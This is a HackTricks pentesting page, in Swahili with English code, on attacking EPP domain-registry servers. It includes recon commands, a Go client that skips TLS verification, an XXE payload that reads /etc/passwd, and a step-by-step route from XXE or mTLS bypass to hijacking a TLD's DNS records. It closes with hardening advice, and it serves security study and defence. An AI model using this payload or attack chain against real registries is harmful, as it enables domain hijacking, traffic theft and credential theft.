700 - Pentesting EPP

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Protokali ya Utoaji wa Mipango (EPP) ni protokali ya mtandao inayotumika kwa usimamizi wa majina ya domain na rasilimali nyingine za mtandao na usajili wa majina ya domain na wasajili. Inaruhusu automatisering ya usajili wa majina ya domain, upya, uhamisho, na mchakato wa kufuta, ikihakikisha mfumo wa mawasiliano wa kawaida na salama kati ya entiti tofauti katika mfumo wa majina ya domain (DNS). EPP imeundwa kuwa na uwezo wa kubadilika na kupanuka, ikiruhusu kuongeza vipengele na amri mpya kadri mahitaji ya miundombinu ya mtandao yanavyoendelea.

Kimsingi, ni moja ya protokali ambazo wasajili wa TLD wataweza kutoa kwa wasajili wa majina ya domain ili kusajili majina mapya katika TLD.

Pentest

Katika makala hii ya kuvutia sana unaweza kuona jinsi utafiti wa usalama ulivyogundua kwamba utekelezaji wa protokali hii ulikuwa na udhaifu wa XXE (XML External Entity) kwani protokali hii inatumia XML kuwasiliana, ambayo ingewawezesha washambuliaji kuchukua udhibiti wa TLD tofauti kumi.


Enumeration & Recon

Seva za EPP karibu kila wakati husikiliza kwenye TCP 700/tcp kupitia TLS. Utekelezaji wa kawaida pia unalazimisha mutual-TLS (mTLS) hivyo mteja lazima aonyeshe cheti halali kilichotolewa na CA ya usajili. Hata hivyo, utekelezaji mwingi wa majaribio ya kibinafsi au kabla ya uzalishaji unakosa udhibiti huo:

bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Ikiwa seva haitakata muunganisho baada ya mkono wa TLS, unaweza kujaribu kutuma ujumbe usio na uthibitisho <hello/>:

xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Wateja wa chanzo wazi wanaofaa kwa majaribio

  • epp-client (Go) – inatunzwa kwa ufanisi, inasaidia TCP/TLS na EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
  • gandi/go-epp – maktaba ya mteja ya chini ambayo inaweza kuandaliwa kwa urahisi kwa ajili ya fuzzing au workflows za mtindo wa nuclei.
  • afq984/php-epp-client – utekelezaji wa PHP unaotumiwa na registrars wengi wadogo; lengo rahisi kwa ajili ya mapitio ya msimbo.

Mfano wa skripti ya kuingia+kuangalia ya chini na Go epp-client:

go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Ukatili wa Kawaida & Uthibitisho wa 2023-2025

MwakaKipengeleCWEAthari
2023CoCCA Registry < 3.5CWE-611 XXEKusoma faili kwa mbali & SSRF kupitia payload iliyoundwa <epp> (patch: 2023-11-02)
2024FRED EPP Server 2.xCWE-322 Ukosefu wa uthibitisho wa TLS wa kutoshaKupita kwa mTLS kuliruhusu kuingia kwa mregistrar asiyeidhinishwa
2025Jukwaa la mregistrar la milikiCWE-306 Kukosekana kwa Uthibitisho kwa Kazi MuhimuKituo cha idhini ya uhamisho wa domain kimefunuliwa kupitia daraja la EPP-HTTP

XXE / SSRF payload (inafanya kazi dhidi ya utekelezaji mwingi wa Java/Spring)

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Wakati parser imewekwa vibaya (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) maudhui ya faili yanarudishwa ndani ya muundo wa <resData>.

Utafutaji mwingine wa kawaida

  1. Sera dhaifu za akidi – EPP login passphrases fupi kuliko herufi 8; brute-force mara nyingi inawezekana kwa sababu spesifikesheni inapendekeza tu (sio inahitaji) ukomo wa kiwango.
  2. Kukosa hali ya registryLock / serverUpdateProhibited – mara tu baada ya kuthibitishwa, washambuliaji wanaweza mara moja kubadilisha rekodi za NS na kuiba trafiki.
  3. Ujumbe wa kura usiosainiwa – baadhi ya utekelezaji bado haujasaini ujumbe wa Q&A wa kura, ikiruhusu udanganyifu/kuiba kutoka kwa waendeshaji wa registrar.

Njia ya Shambulio: Kutoka Sifuri hadi TLD Hijack

  1. Gundua mwisho wa EPP (mara nyingi umefichwa nyuma ya mwenyeji wa jumla kama ot&e.<tld>.nic.<cc>).
  2. Tumia moja ya udhaifu hapo juu kupata akidi za kiwango cha registrar (XXE → SSRF hadi IMDSv1, exfil ya akidi, au TLS-bypass).
  3. Toa maombi ya <update> kubadilisha rekodi za hostObj za domain kuwa seva za jina zinazodhibitiwa na mshambuliaji.
  4. (Hiari) Wasilisha <transfer> kuhamasisha domain kwa registrar inayodhibitiwa na mshambuliaji – rejista nyingi bado zinategemea nambari moja ya uthibitisho.
  5. Faida: udhibiti kamili wa eneo la DNS, uwezo wa kuomba vyeti vya TLS kupitia ACME.

Hatua za Kijamii na Kuimarisha

  • Lazimisha mTLS na vyeti vya mteja kwa kila registrar na pin CA ya rejista.
  • Weka parserFeature secure-processing=true au sawa ili kuua XXE.
  • Endesha fuzzing endelevu ya parser ya XML (kwa mfano, na go-fuzz au jazzer kwa Java).
  • Tumia Hali ya Registry Lock / server*Prohibited kwa maeneo ya thamani kubwa.
  • Fuata foleni ya poll kwa amri za suspicious <transfer> au <update> na onyo kwa wakati halisi.
  • Marekebisho ya mkataba wa DNS-Abuse wa ICANN 2024 yanahitaji rejista kuthibitisha udhibiti wa kiwango na uthibitisho – tumia hayo.

Marejeleo

  • Kamati ya Ushauri wa Usalama na Utulivu ya ICANN (SSAC). "SAC118: Matokeo ya Kushindwa kwa Opereta wa Rejista Kutekeleza Udhibiti wa Usalama wa EPP". 2024.
  • HackCompute – "Kuhack seva za EPP: kutumia XXE kuiba TLDs" (2023).

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks